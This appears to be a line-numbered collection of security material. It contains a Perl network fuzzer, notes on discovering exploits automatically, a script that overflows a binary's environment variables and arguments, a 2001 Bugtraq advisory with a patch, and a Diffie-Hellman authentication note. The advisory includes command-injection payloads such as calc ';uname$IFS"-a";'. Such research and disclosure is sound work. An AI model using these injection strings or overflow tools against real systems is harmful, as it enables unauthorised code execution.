7395 @{$sessions[$i]} = @send;
7396 $sessions[$i++][$j] = join $seperator, @words_temp;
7397 }
7398 }
7399
7400 return @sessions;
7401}
7402
7403# general functionality
7404sub connectto
7405{
7406 my $t = new Net::Telnet(
7407 Host => $host,
7408 Port => $port,
7409 Telnetmode => 0,
7410 Timeout => $recvtout);
7411 $t->errmode('return');
7412 $t->open();
7413 return $t;
7414}
7415
7416# 5b sending functions
7417# errlevel == 1, check for disconnect
7418# errlevel == 2, check for different responses
7419# search == 1, check only the first word in the string
7420# search == -1, search the full recv string
7421sub send_std_session
7422{
7423 my $errlevel = $_[0];
7424 my @sessions = @{$_[1]};
7425 my @recvs = @{$_[2]};
7426 my($i, $j, @responses);
7427
7428 foreach $i (0..$#sessions)
7429 {
7430 my $err = 0;
7431 my $t = &connectto;
7432 my @temp_recvs = defined($_[2]) ? @{$recvs[$i]} : @recv;
7433
7434
7435 foreach $j (0..$#temp_recvs)
7436 {
7437 if($err == 1) { next }
7438 # wait for receive before flushing input.
7439 ($sessions[$i][$j]) and $t->print($sessions[$i][$j]);
7440 my $line = $t->getline;
7441 while($t->getline) { }
7442 $line =~ s/[\r\n]+$//g; $line =~ s/[\r\n]+/\\n/g;
7443
7444 if($temp_recvs[$j] =~ /^([^$sepregex]+)/)
7445 {
7446 my $search = &escaperegex($1);
7447 $search =~ s/[\r\n]+/\\n/g;
7448
7449 if(!defined($line) && ($errlevel == 1 || $verbose > 1))
7450 {
7451 print "------[ ! connection closed, sent: $sessions[$i][$j], ".
7452 "expect: $1, recv: $line\n";
7453 &printsessverbose(\@{$sessions[$i]}, \@{$responses[$i]})
7454 if(($errlevel == 1 && $verbose > 0) ||
7455 ($errlevel == 2 && $verbose > 2));
7456 $err = 1;
7457 }
7458 if(defined($line) &&
7459 ($line !~ /$search/ && ($errlevel == 2 || $verbose > 1)))
7460 {
7461 print "------[ ! sent: $sessions[$i][$j], expect: $1, recv: $line\n";
7462 &printsessverbose(\@{$sessions[$i]}, \@{$responses[$i]})
7463 if(($errlevel == 2 && $verbose > 0) ||
7464 ($errlevel == 1 && $verbose > 2));
7465 }
7466 $responses[$i][$j] = $line;
7467 }
7468 }
7469 $t->close();
7470 }
7471}
7472
7473# misc functions
7474sub host2ip
7475{
7476 return join(".", unpack("C4", (gethostbyname($_[0]))[4]));
7477}
7478
7479sub escaperegex
7480{
7481 my $search = $_[0];
7482 $search =~ s/([^0-9a-zA-Z])/\\$1/g;
7483 return $search;
7484}
7485
7486sub urlescape
7487{
7488 my $url = $_[0];
7489 $url =~ s/(.)/sprintf("%%%x", ord($1))/eg;
7490 return $url;
7491}
7492
7493sub printsessverbose
7494{
7495 my @sessions = @{$_[0]};
7496 my @responses = @{$_[1]};
7497 my $k;
7498
7499 foreach $k (0..$#responses)
7500 {
7501 ($sessions[$k]) and print "--[ send $k: $sessions[$k]\n";
7502 ($responses[$k]) and print "--[ recv $k: $responses[$k]\n";
7503 }
7504}
7505
7506# combinations oop functions
7507sub newcombo
7508{
7509 $class = shift;
7510 $list = [ @_ ];
7511 bless [$list, [0 .. $#$list]], $class;
7512}
7513
7514sub nextcombo
7515{
7516 $self = shift;
7517 $list = $self->[0];
7518 $tot = $self->[1];
7519 return unless @$tot;
7520 @next = @$tot;
7521 @end = pop @next;
7522 while (@next && $next[-1] > $end[-1])
7523 {
7524 push(@end, pop(@next));
7525 }
7526 if (defined($extra = pop(@next)))
7527 {
7528 ($place) = grep $extra < $end[$_], 0 .. $#end;
7529 ($extra, $end[$place]) = ($end[$place], $extra);
7530 $self->[1] = [@next, $extra, @end];
7531 }
7532 else
7533 {
7534 $self->[1] = [];
7535 }
7536 return @$list[@$tot];
7537}
7538
7539
75405b. Automatic Exploit Discovery -
7541
75421. Identify classifications of common software bugs as specifically as possible
75432. Name a theoretical example of each bug, ideally in "ASCII over TCP" protocols
75443. Describe an algorithm for automating remote detection of those bugs in client-server software. Assume that you have a working copy of server software, captured images of valid transactions and reasonable hardware. Ideal situations will need no knowledge of the protocol grammar beyond word and seperator characters.
7545
7546
7547The Answers -
7548
7549a1. Failure to validate input buffer lengths
7550a2. In POP3 authentication, username input may not be length-validated.
7551a3. Most buffer overflows can be detected in ASCII protocols by replaying a captured session repeatedly, replacing one word each time with a 4097 character word.
7552- check for disconnect
7553
7554b1. Fencepost a.k.a. Off by one counting errors
7555b2. In POP3 message retrieval, there could be an off-by-one error in the number of retreivable messages.
7556b3. Off-by-one errors can be detected by replaying a captured session with each numeric client-side word replaced with each previously seen numeric server words.
7557- check for different response
7558
7559c1. Null Pointers, Dereferencing, Page Fault
7560c2. In POP3, deleting or retreiving message 0 without checking, or executing commands out of order might cause null pointers to be used.
7561c3. Null Pointers can be detected by replaying a captured session and executing the commands in a different order, or by replacing numerical words with 0 or negative numbers.
7562- check for disconnect
7563
7564d1. Race Conditions
7565d2. In POP3 race conditions may occur when mail is received or removed and counters are modified while being read or written to by other connected clients.
7566d3. Race Conditions can be detected by replaying a captured session in a control process and executing other captured sessions with the commands put in various orders at the same time and looking for unexpected results. (e.g., run your control process without a second test process, then re-run with the test process running concurrently and check for deviations with the results).
7567- check for deviations
7568
7569e1. Using uninitialized variables/memory
7570e2. In POP3 validation of protocol order may not be checked, sending your password before username or executing commands out of order may cause uninitialized variables to be used.
7571e3. Using uninitialized variables/memory can be detected by replaying a captured session with the client-side commands put in different order.
7572- check for disconnect
7573
7574f1. Poorly implemented input matching
7575f2. In HTTP, failure to check filenames that might attempt a directory traversal ".." or unexpected characters or strings passed to cgi applications.
7576f3. Poorly implemented input matching can be detected by replaying a captured session with each word replaced with unexpected input characters depending on the protocol. (e.g. "..", file globbing characters -- "*, ?, +, [, ]", regex matching characters -- "+, *, ?, ^, $, (, ), {, }, [, ]", format string vuln characters -- "%s, %d, %p, %n, etc", common exec exploitation characters -- ";, <, >, |, ", '", null and non-ascii characters)
7577- check for different response
7578
7579g1. Memory leaks (not freeing dynamically allocated memory)
7580g2. In POP3, if memory for each message is not freed and numerous messages are read, it could cause denial of service.
7581g3. Memory leaks can be detected by replaying a captured session and repeating a command numerous times while checking latency and availability.
7582- check for latency or disconnect
7583
7584h1. Mixing signed and unsigned number variables
7585h2. In HTTP, sending an negative number as the byte count (Content-Length) for a POST, assuming the httpd uses a signed variable with the byte count. (which would check out fine if the program checks to see if the content-length is < the bytes read) And in turn if it set the length variable for the POST buffer to the negative number, it could cause the processing function to read more data than is supplied.
7586h3. Improper mixing of signed and unsigned number variables can be detected by replaying a captured session with all numerical words inverted to their negative equivalent, or positive equivalent if negative.
7587- check for different response
7588
7589i1. Failure to resolve escapes before validating
7590i2. In HTTP, failure to resolve unicode, specialchars, and other http escaped characters before input matching.
7591i3. Failure to resolve escapes before validating can be detected by replaying a normal session as well as all input matching sessions with all characters escaped.
7592- check for different response
7593
7594
7595
7596#!/usr/bin/perl
7597
7598# testenvs.pl - by CommPort5 [@LucidX.com]
7599# attempts to find and overflow environment variables
7600# in a binary program
7601
7602$SIG{INT} = \&data;
7603$SIG{'TSTP'} = \&data;
7604
7605die "usage: $0 < /path/to/binary >\n" unless @ARGV == 1;
7606
7607@ignore = split(/\s+/,
7608"TERM USER TTOU TTIN TSTP STOP CONT CHLD STKFLT ALRM PIPE USR2 SEGV USR1 KILL FPE BUS IOT ABRT TRAP ILL QUIT INT HUP _DYNAMIC _GLOBAL_OFFSET_TABLE_ --");
7609
7610print "testenvs.pl :: tests environment variables in binary programs for buffer overflows\n";
7611
7612open(BINARY, shift) || die "Can't open file: $!\n";
7613@read = <BINARY>;
7614close(BINARY);
7615$i = 0;
7616$tokens = @read;
7617while ($read[$i]) {
7618 @tmpread = split(chr(0), $read[$i]);
7619 $tokens = @tmpread;
7620 $j = -1;
7621 while ($j < $tokens) {
7622 $j++;
7623 $k = 0;
7624 while (isvalid(substr($tmpread[$j], $k, 1)) && length($tmpread[$j]) > 1) {
7625 if ($k + 1 == length($tmpread[$j])) {
7626 $m = 0;
7627 @s = @ignore;
7628 $l = 0;
7629 while ($s[$l]) {
7630 if ($s[$l] eq $tmpread[$j]) {
7631 $m++;
7632 }
7633 $l++;
7634 }
7635 @s = split(/,/, $result);
7636 $l = 0;
7637 while ($s[$l]) {
7638 if ($s[$l] eq $tmpread[$j] || $s[$l] eq " $tmpread[$j]") {
7639 $m++;
7640 }
7641 $l++;
7642 }
7643 if (!$m && substr($tmpread[$j], 0, 3) ne "SIG" && substr($tmpread[$j], 0, 2) ne "__" &&
7644 substr($tmpread[$j], length($tmpread[$j]) - 2, 2) ne "__") {
7645 if (!$result) {
7646 $result = $tmpread[$j];
7647 }
7648 else {
7649 $result = "$result, $tmpread[$j]";
7650 }
7651 }
7652 }
7653 $k++;
7654 }
7655 }
7656 $i++;
7657}
7658
7659&data;
7660
7661sub data {
7662 if ($result) {
7663 foreach (split(/,\s*/, $result)) {
7664 $ENV{$_} = "A" x 2500;
7665 }
7666 exec("$ARGV[0] " . "A" x 2500);
7667 }
7668 else {
7669 print "no typical ENV variables found.\nattempt arguement overflows manually [and environment, if any].\n";
7670 }
7671}
7672
7673sub isvalid {
7674 $char = substr(shift, 0, 1);
7675 if (ord($char) > 64 && ord($char) < 91 || ord($char) > 47 && ord($char) < 58 || ord($char) == 45 || ord($char) == 95) {
7676 return 1;
7677 }
7678 return 0;
7679}
7680
7681
7682#!/usr/bin/perl
7683
7684# getenvs.pl - by CommPort5 [@LucidX.com]
7685# this is a hacked up and nice version of v9's getenv program
7686# so credits go to him
7687
7688$SIG{INT} = \&data;
7689$SIG{'TSTP'} = \&data;
7690
7691die "usage: $0 < /path/to/binary >\n" unless @ARGV == 1;
7692
7693#@ignore = split(/\s+/,
7694#"TTOU TTIN TSTP STOP CONT CHLD STKFLT ALRM PIPE USR2 SEGV USR1 KILL FPE BUS IOT ABRT TRAP ILL QUIT INT HUP _DYNAMIC
7695#_GLOBAL_OFFSET_TABLE_ --");
7696
7697print "getenvs.pl :: finds environment variables in binary programs\n";
7698
7699&readbinary(@ARGV);
7700&data;
7701exit(0);
7702
7703sub readbinary {
7704 open(BINARY, shift) || die "Can't open file: $!\n";
7705 @read = <BINARY>;
7706 close(BINARY);
7707 $i = 0;
7708 $tokens = @read;
7709 while ($read[$i]) {
7710 @tmpread = split(chr(0), $read[$i]);
7711 $tokens = @tmpread;
7712 $j = -1;
7713 while ($j < $tokens) {
7714 $j++;
7715 $k = 0;
7716 while (isvalid(substr($tmpread[$j], $k, 1)) && length($tmpread[$j]) > 1) {
7717 if ($k + 1 == length($tmpread[$j])) {
7718 $m = 0;
7719 @s = @ignore;
7720 $l = 0;
7721 while ($s[$l]) {
7722 if ($s[$l] eq $tmpread[$j]) {
7723 $m++;
7724 }
7725 $l++;
7726 }
7727 @s = split(/,/, $result);
7728 $l = 0;
7729 while ($s[$l]) {
7730 if ($s[$l] eq $tmpread[$j] || $s[$l] eq " $tmpread[$j]") {
7731 $m++;
7732 }
7733 $l++;
7734 }
7735 if (!$m && substr($tmpread[$j], 0, 3) ne "SIG" && substr($tmpread[$j], 0, 2) ne "__" &&
7736 substr($tmpread[$j], length($tmpread[$j]) - 2, 2) ne "__") {
7737 if (!$result) {
7738 $result = $tmpread[$j];
7739 }
7740 else {
7741 $result = "$result, $tmpread[$j]";
7742 }
7743 }
7744 }
7745 $k++;
7746 }
7747 }
7748 $i++;
7749 }
7750}
7751
7752sub data {
7753 if ($result) {
7754 print "possible ENV variables: $result\n";
7755 }
7756 else {
7757 print "no typical ENV variables found.\n";
7758 }
7759}
7760
7761sub isvalid {
7762 $char = substr(shift, 0, 1);
7763 if (ord($char) > 64 && ord($char) < 91 || ord($char) > 47 && ord($char) < 58 || ord($char) == 45 || ord($char) == 95) {
7764 return 1;
7765 }
7766 return 0;
7767}
7768
7769
7770
7771
7772Date: Tue, 6 Feb 2001 22:53:27 -0800
7773From: "samy [CommPort5]" <CommPort5@LUCIDX.COM>
7774Subject: Infobot 0.44.5.3/below remotely vulnerable (also in FreeBSD ports
7775To: BUGTRAQ@SECURITYFOCUS.COM
7776
7777Advisory: Infobot 0.44.5.3 and below vulnerability [Hack-X]
7778This version and versions from before were also released into the
7779FreeBSD ports tree.
7780Currently there is no patched version even though I emailed the author
7781over a month ago about this and emailed the development list over a
7782week, and them saying it would be fixed immidiately although still
7783isn't. A patch follows below.
7784
7785Author: samy [CommPort5@LucidX.com]
7786Special thanks to zsvx for helping find this problem and testing it on
7787multiple infobots.
7788
7789I. Background
7790
7791Infobot is an IRC bot written in perl for information retrieval and
7792storage along with channel management and many other useful tasks.
7793
7794II. Problem Description
7795
7796Infobot has a 'fortran math' section that's used with the 'calc'
7797command via IRC. If someone were to message (privately or in a
7798channel) with 'calc 1+1' (assuming fortran math is enabled in the
7799config file), the bot would return '2'. The problem is the way
7800this function works. It uses open() to run `bc`, which does the
7801actual math.
7802The original code was
7803open(P, "echo $parm|bc 2>&1 |");
7804which allowed someone to use |'s to escape the echo and run anything
7805through open(). Although, whitespaces are eliminated from user-input
7806with fortran math so this eliminates a lot of possibilities.
7807They soon fixed this bug with
7808open(P, "echo '$parm'|bc 2>&1 |");
7809This only opened up another hole. A user is now able to escape the
7810echo by using single-quotes and semicolons, but they are stlil
7811unable to use whitespaces. To get around the whitespaces, the user
7812is able to use a local variable set in the terminal. $IFS is, by
7813default on almost all systems, a newline character or whitespace.
7814Either of these would work, so in code you would be able to replace
7815a whitespace with $IFS.
7816
7817III. Impact
7818
7819Any malicious user would be able to run arbitrary files writable by
7820the user running infobot. They would also be able to recieve
7821information or write, since infobot automatically replies the data
7822the open() sent. A user would be able to easily check the operating
7823system and gain other information like so:
7824calc ';uname$IFS"-a";'
7825or in older versions:
7826calc |uname$IFS"-a"|
7827They would also be able to install arbitrary files and execute them.
7828
7829IV. Workaround
7830
7831Disable fortran math in the infobot configuration file and restart
7832the infobot.
7833
7834V. Solution
7835
7836The best solution would be to parse out certain characters from the
7837user's input. You can do this by adding a line to src/Math.pl in
7838the infobot's main directory. You will see on line 40:
7839$parm =~ s/\s//g;
7840After this line, create a new line and insert this:
7841$parm =~ s/[\|;']//g;
7842Save the file (src/Math.pl) and restart infobot.
7843
7844--
7845samy -- (877) 898-1424 -- CommPort5@LucidX.com
7846LucidX.com / pdump.org / LA.pm.org
7847
7848
7849Preventing Man-in-the-Middle Attacks with
7850Diffie-Hellman Key Exchange and Authentication
7851
7852Samy Kamkar - samy@samy.pl - August 4, 2009
7853h = hash(plaintext, salt) e = encrypt(plaintext, key) d = decrypt(ciphertext, key)
7854
7855
7856MAN IN THE MIDDLE ATTACK ON STANDARD AUTHENTICATION METHOD
7857
7858Alice Mallory Bob
7859password = 54321 password = 54321
7860key = zzz alice key = zzz (DH MITMA) key = yyy
7861 bob key = yyy (DH MITMA)
7862e(password,key) = passhash e(password,key) = passhash
7863e(54321,zzz) = "deadbeef" e(54321,yyy) = "badcoded"
7864SEND: "deadbeef" d(deadbeef,zzz) = 54321
7865 e(54321,yyy) = "badcoded"
7866 SEND->Bob: "badcoded"
7867 RECV: "badcoded" matches
7868
7869MITMA successful :(
7870
7871NEW AUTHENTICATION METHOD
7872
7873Alice Bob
7874password = 54321 password = 54321
7875key = zzz key = zzz
7876h(54321,key) = "blahwoot" h(54321,key) = "blahwoot"
7877SEND: "blahwoot
7878 RECV: "blahwoot" matches
7879h(ok,password) = GOOD! h(ok,password) = GOOD!
7880h("ok",54321) = "awesome" h("ok",54321) = "awesome"
7881SEND: "awesome"
7882RECV: "awesome" matches
7883pubkey now saved for future use in known_hosts
7884
7885 DH + authentication verified
7886
7887MAN IN THE MIDDLE ATTACK ON NEW METHOD
7888Alice Mallory Bob
7889password = 54321 password = 54321
7890key = zzz alice key = zzz (DH MITMA) key = yyy
7891 bob key = yyy (DH MITMA)
7892h(password,key) = passhash h(password,key) = passhash
7893h(54321,zzz) = "blahwoot" h(54321,yyy) = "wtfmate"
7894SEND: "blahwoot" can't reverse hash to get pass!
7895 can't send h(ok,password) RECV: "blahwoot" != "wtfmate"
7896 doesn't know password SEND: BAD!
7897RECV: BAD!
7898pubkey NOT saved in known_hosts
7899
7900 both sides fail authentication